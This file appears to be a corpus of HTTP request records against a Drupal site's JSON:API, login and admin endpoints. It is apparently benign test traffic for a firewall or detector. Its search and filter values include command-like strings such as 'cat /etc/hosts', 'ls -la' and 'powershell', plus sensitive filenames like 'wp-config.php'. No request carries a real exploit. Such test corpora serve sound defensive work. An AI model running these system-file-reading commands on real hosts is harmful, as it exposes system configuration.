{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=python3", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=powershell&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=powershell", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=ls%20-la&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=ls%20-la", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=.htaccess&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=.htaccess", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=wp-config.php&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=wp-config.php", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=docker-compose.yml&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=cat%20/etc/hosts&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=cat%20/etc/hosts", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Btitle%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bpath%5D=title&filter%5Bf%5D%5Bcondition%5D%5Boperator%5D=CONTAINS&filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article?filter%5Bg%5D%5Bgroup%5D%5Bconjunction%5D=OR&filter%5Bt%5D%5Bcondition%5D%5Bpath%5D=field_tags.name&filter%5Bt%5D%5Bcondition%5D%5Bvalue%5D=SELECT%20rows%20FROM%20table&filter%5Bt%5D%5Bcondition%5D%5BmemberOf%5D=g", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/taxonomy_term/tags?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/user/user?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/file/file?filter%5Bfilename%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/media/image?filter%5Bname%5D=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"Python3 and PowerShell via API\", \"body\": {\"value\": \"<p>Run ls -la in python3 and cat /etc/hosts; see <a href=\\\"/python3-notes\\\">notes</a>.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"47f40026-bda0-41dc-b81a-f1a13535af4c\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "POST", "target": "/jsonapi/node/article/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`"}
|
||||
{"method": "POST", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`"}
|
||||
{"method": "DELETE", "target": "/jsonapi/node/article/47f40026-bda0-41dc-b81a-f1a13535af4c", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"}
|
||||
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"}
|
||||
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/relationships/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
|
||||
{"method": "POST", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb/field_image", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/octet-stream", "Content-Disposition: file; filename=\"photo.png\"", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`"}
|
||||
{"method": "DELETE", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout?_format=json&token=aAL70H9lx1XrjIVcHIF12FLWwoi0YEwunehLXbSKZv4", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "GET", "target": "/search/user?keys=admin", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media-grid?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media-grid?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=python3-%2Fetc%2Fhosts-1&form_build_id=form-lt4MGc7V3i3el7smsATqAMVVJ1KzV_yV3U3nOcZ7FWc&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_breadcrumbs%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=DupSXj2bNdZYw9OEb6f4T6BX3qXPnA1znFW4miVijJU&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
|
||||
{"method": "POST", "target": "/editor/filter_xss/full_html", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "value=&original_format_id=basic_html"}
|
||||
